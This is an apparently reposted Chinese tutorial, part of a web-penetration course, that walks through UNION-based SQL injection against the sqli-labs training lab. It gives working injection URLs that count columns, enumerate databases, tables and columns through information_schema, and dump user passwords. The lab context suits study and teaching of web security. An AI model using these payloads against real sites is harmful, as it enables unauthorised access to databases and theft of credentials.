欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

2. 网易web安全渗透 union联合查询注入

程序员文章站 2022-05-15 11:51:49
...

1. sql union操作符

union操作符是用于,并合两个或者多个select语句的结果
注意,union内部的 select语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 select语句中的列的顺序必须相同
默认情况,union操作符选取不同的值。如果允许重复的值,请使用 union ALL.。

2. 注入应用场景

  1. 只有最后一个 SELECT子句允许有 ORDER BY;
  2. 只有最后一个 SELECT子句允许有uMT;
  3. 只要UNON连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果
  4. 注入点页面有回显;

sql注入流程图 ,下面就按照上面的流程进行注入

2. 网易web安全渗透 union联合查询注入

1.ORDER BY 判断列数

ORDER BY 是用来排序的
进行排序这个ORDER BY 关键字经常用于sql注入的时候,根据错误,判断有几个表
列下面有6个表2. 网易web安全渗透 union联合查询注入
判断有几个表
ORDER BY 7就报错了,应为他只有6个表2. 网易web安全渗透 union联合查询注入
ORDER BY 6就对了
2. 网易web安全渗透 union联合查询注入
用sqli-labs进行测试
输入4发现就报错了,那这样就判断出来,字段是有3个
2. 网易web安全渗透 union联合查询注入

2. 观察页面返回,选择可以显示数据的位置,进行下一步的注入

我们输入
URL地址http://192.168.0.104/Less-2/ ?id= -1 union%20 select 1,2,3 --+
判断注入的位置上2和3

2. 网易web安全渗透 union联合查询注入
执行的sql语句结果就是这个
2. 网易web安全渗透 union联合查询注入

3读取库的信息

输入的URLhttp://192.168.0.104/Less-2/ ?id= -1 union select 1,user(),3 --+

2. 网易web安全渗透 union联合查询注入

4.读取数据

1.查看数据库名

URL地址http://192.168.0.104/Less-2/ ?id= -1 union select 1,(select schema_name from information_schema.schemata LIMIT 0,1),3 --+
上面的URL介绍

select schema_name from information_schema.schemata

这个的意思在上一个博客查看1. 网易web安全渗透 手动sql注入

 LIMIT 0,1

用于查看行数,应为他只能显示一个,所以输出也只能一个
2. 网易web安全渗透 union联合查询注入
查看其他下一个数据库

URLhttp://192.168.0.104/Less-2/ ?id= -1 union select 1,(select schema_name from information_schema.schemata LIMIT 1,1),3 --+
结果
只要修改LIMIT 0,1改成1就可以了
可以看到显示出来了
2. 网易web安全渗透 union联合查询注入

1.2读取全部的库
上面输出一个不太好
URL地址http://192.168.0.104/Less-2/ ?id= -1 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
用到了group_concat()函数,
应为有很多数据库他只能显示一个,所以用group_concat()叫所以库名都显示到一列中
2. 网易web安全渗透 union联合查询注入

2.读取查表

通过上面的查询找到数据库全部的数据库名
通过数据库名就可以查询表了

URL地址http://192.168.0.104/Less-2/ ?id= -1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

URL介绍

select group_concat(table_name) from information_schema.tables where table_schema='security'

这个的意思在上一个博客查看1. 网易web安全渗透 手动sql注入
group_concat()叫所以库名都显示到一列中
结果
叫表给显示出来了
2. 网易web安全渗透 union联合查询注入

3.查询列

通过上面的查询查询出来了库和表
通过上面的表查询列
URL地址http://192.168.0.104/Less-2/ ?id= -1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+
URL介绍

select group_concat(column_name) from information_schema.columns where table_name='users'

这个的意思在上一个博客查看1. 网易web安全渗透 手动sql注入
group_concat()叫所以库名都显示到一列中
结果
查看出来列了
2. 网易web安全渗透 union联合查询注入

4.读取数据

通过上面的注入,知道了库,表,列
知道了全部就可以查询数据了
用这个select 列名 from 库名.表名
URL地址http://192.168.0.104/Less-2/ ?id= -1 union select 1,(select group_concat(password) from security.users),3 --+
结果
通过注入叫数据给输出出来了
2. 网易web安全渗透 union联合查询注入

相关标签: sql注入